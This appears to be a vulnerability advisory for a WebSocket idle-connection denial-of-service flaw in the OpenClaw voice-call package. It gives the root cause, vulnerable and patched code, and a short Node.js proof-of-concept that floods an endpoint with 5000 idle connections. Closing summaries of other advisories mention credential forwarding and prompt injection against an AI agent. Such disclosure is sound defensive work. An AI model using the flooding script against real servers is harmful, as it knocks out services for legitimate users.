Mar 3, 2026·5 min read·25 visits
Unauthenticated attackers can exhaust server resources by opening thousands of WebSocket connections to the OpenClaw voice stream endpoint without initiating a session. Patched in version 2026.2.22.
A resource exhaustion vulnerability exists in the `@openclaw/voice-call` package, a core component of the OpenClaw telephony platform. The vulnerability arises from an improper implementation of the WebSocket protocol upgrade mechanism, specifically an "Upgrade-First, Validate-Later" design pattern. By allowing an unlimited number of unauthenticated WebSocket connections to remain in an idle "pre-start" state indefinitely, remote attackers can consume available file descriptors and memory, leading to a Denial of Service (DoS) for legitimate voice services.
The OpenClaw platform utilizes the @openclaw/voice-call package to handle real-time media streaming via WebSockets. This component is responsible for accepting incoming audio streams for voice calls. In versions prior to 2026.2.22, the MediaStreamHandler class exposed a critical flaw in its connection lifecycle management.
The vulnerability is classified as a Resource Exhaustion Denial of Service (CWE-400). It exploits the disparity between the cost of establishing a WebSocket connection and the server's failure to enforce resource limits on connections that have completed the HTTP upgrade handshake but have not yet authenticated or begun transmitting data. Because the server allocated resources (memory buffers, file descriptors, and event loop cycles) immediately upon connection upgrade—rather than deferring allocation until after validation—the application was susceptible to trivial flooding attacks.
The root cause is a logic error in the WebSocket handshake process, specifically the lack of an idle timeout for "pre-start" connections. The normal lifecycle of an OpenClaw media stream is:
/voice/stream.start event containing metadata and authentication tokens.start event and begins processing audio.In the vulnerable implementation, the server enforced no time limit between Step 2 and Step 3. An attacker could complete Step 2 and simply hang the connection. The MediaStreamHandler would maintain the socket in memory indefinitely, waiting for a start event that never arrives. Furthermore, there were no global or per-IP limits on the number of these "pending" connections, allowing a single attacker to saturate the Node.js process's concurrent connection pool.
The patch introduced in version 2026.2.22 implements a strict state machine with timeouts. Below is a reconstruction of the remediation logic applied to the MediaStreamHandler.
Vulnerable Logic (Conceptual):
// The server upgrades the connection and simply waits for events.
// No timers are set to ensure the client actually sends data.
wss.on('connection', (ws) => {
ws.on('message', (message) => {
const event = JSON.parse(message);
if (event.type === 'start') {
// Validation happens here, too late in the lifecycle
validateAndStartStream(ws, event);
}
});
});Patched Logic:
The fix introduces a preStartTimeout and a pendingConnections counter. The server now tracks sockets that have upgraded but not yet sent the start frame.
// New configuration parameters
const PRE_START_TIMEOUT = 5000; // 5 seconds
const MAX_PENDING = 32;
wss.on('connection', (ws, req) => {
// 1. Check Global Limits
if (this.pendingConnections.size >= MAX_PENDING) {
ws.close(503, 'Server Busy');
return;
}
// 2. Track this pending connection
this.pendingConnections.add(ws);
// 3. Set a "Time to Live" for the pre-start state
const timeout = setTimeout(() => {
if (!ws.isStarted) {
// Force close if 'start' event not received in 5s
ws.close(1008, 'Start timeout');
this.pendingConnections.delete(ws);
}
}, PRE_START_TIMEOUT);
ws.on('message', (message) => {
// If valid 'start' received, clear timeout and move to active state
if (isValidStart(message)) {
clearTimeout(timeout);
this.pendingConnections.delete(ws);
// ... proceed with stream ...
}
});
});This creates a "use it or lose it" policy for network resources. If a client does not authenticate within 5 seconds, the server aggressively reclaims the resources.
Exploiting this vulnerability requires no authentication and can be performed with standard network tools or simple scripts. The attacker targets the WebSocket endpoint (default /voice/stream).
Attack Steps:
A Proof-of-Concept (PoC) script would look like this using the ws library:
const WebSocket = require('ws');
const target = 'ws://vulnerable-openclaw.local/voice/stream';
const sockets = [];
// Open 5000 idle connections
for (let i = 0; i < 5000; i++) {
const ws = new WebSocket(target);
ws.on('open', () => {
console.log(`Socket ${i} open and holding...`);
// Intentionally DO NOT send 'start' event
});
sockets.push(ws);
}The impact is strictly limited to Availability. There is no risk to Confidentiality or Integrity, as the attacker cannot read existing stream data or inject audio into other calls without valid session tokens.
However, the availability impact is High.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
@openclaw/voice-call OpenClaw | <= 2026.2.21 | 2026.2.22 |
openclaw OpenClaw | <= 2026.2.21 | 2026.2.22 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-400 |
| CVSS | 6.6 (Medium) |
| Attack Vector | Network |
| Authentication | None Required |
| Exploit Maturity | PoC Available |
| Patch Status | Released (2026-02-23) |
A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.
CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.
The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.
GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.
The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.
The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.